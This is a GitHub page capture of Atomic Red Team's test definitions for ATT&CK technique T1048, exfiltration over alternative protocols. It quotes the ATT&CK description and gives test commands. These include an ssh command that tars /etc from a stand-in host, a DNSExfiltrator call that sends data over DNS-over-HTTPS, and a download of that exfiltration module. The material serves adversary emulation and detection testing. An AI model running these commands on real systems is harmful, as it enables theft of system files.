Sign in

redcanaryco / **atomic-red-team** Public

Notifications Fork 2.8k Star 9.7k

Code Issues 6 Pull requests 4 Actions Wiki Security Insights

atomic-red-team / atomics / T1048 / **T1048.md**

146 lines (75 loc) · 4.63 KB

T1048 - Exfiltration Over Alternative Protocol

Description from ATT&CK

> Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.
> Alternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Different protocol channels could also include Web services such as cloud storage. Adversaries may also opt to encrypt and/or obfuscate these alternate channels.
>
> Exfiltration Over Alternative Protocol can be done using various common operating system utilities such as Net/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016) On macOS and Linux `curl` may be used to invoke protocols such as HTTP/S or FTP/S to exfiltrate data from a system.(Citation: 20 macOS Common Tools and Techniques)

Atomic Tests

Atomic Test #1 - Exfiltration Over Alternative Protocol - SSH

Input a domain and test Exfiltration over SSH

Remote to Local

Upon successful execution, sh will spawn ssh contacting a remote domain (default: target.example.com) writing a tar.gz file.

Supported Platforms: macOS, Linux

auto_generated_guid: f6786cc8-beda-4915-a4d6-ac2f193bb988

Inputs:

Name	Description	Type	Default Value
domain	target SSH domain	Url	target.example.com

Attack Commands: Run with `sh`!

```
ssh #{domain} "(cd /etc && tar -zcvf - *)" > ./etc.tar.gz
```

Atomic Test #2 - Exfiltration Over Alternative Protocol - SSH

Input a domain and test Exfiltration over SSH

Local to Remote

Upon successful execution, tar will compress /Users/* directory and password protect the file modification of `Users.tar.gz.enc` as output.

Supported Platforms: macOS, Linux

auto_generated_guid: 7c3cb337-35ae-4d06-bf03-3032ed2ec268

Inputs:

Name	Description	Type	Default Value
user_name	username for domain	String	atomic
password	password for user	String	atomic
domain	target SSH domain	Url	target.example.com

Attack Commands: Run with `sh`!

Preview Code Blame Raw

Atomic Test #3 - DNSExfiltration (doh)

DNSExfiltrator allows for transfering (exfiltrate) a file over a DNS request covert channel. This is basically a data leak testing tool allowing to exfiltrate data over a covert channel. !!! Test will fail without a domain under your control with A record and NS record !!! See this github page for more details - https://github.com/Arno0x/DNSExfiltrator

Supported Platforms: Windows

auto_generated_guid: c943d285-ada3-45ca-b3aa-7cd6500c6a48

Inputs:

Name	Description	Type	Default Value

password	Password used to encrypt the data to be exfiltrated	String	atomic
domain	The domain name to use for DNS requests	String	target.example.com
ps_module	DNSExfiltrator powershell ps_module	Path	$env:Temp\dnsexfil.ps1
doh	Google or CloudFlare DoH (DNS over HTTP) server	String	google
time	The time in milliseconds to wait between each DNS request	String	500
encoding	Set to '-b32' to use base32 encoding of data. Might be required by some DNS resolvers.	String	

Attack Commands: Run with `powershell`!

```
Import-Module #{ps_module}
Invoke-DNSExfiltrator -i #{ps_module} -d #{domain} -p #{password} -doh #{doh} -t #
```

Dependencies: Run with `powershell`!

Description: DNSExfiltrator powershell file must exist on disk at specified location (#{ps_module})

Check Prereq Commands:

```
if (Test-Path #{ps_module}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
IWR "https://raw.githubusercontent.com/Arno0x/DNSExfiltrator/8faa972408b0384416fff
```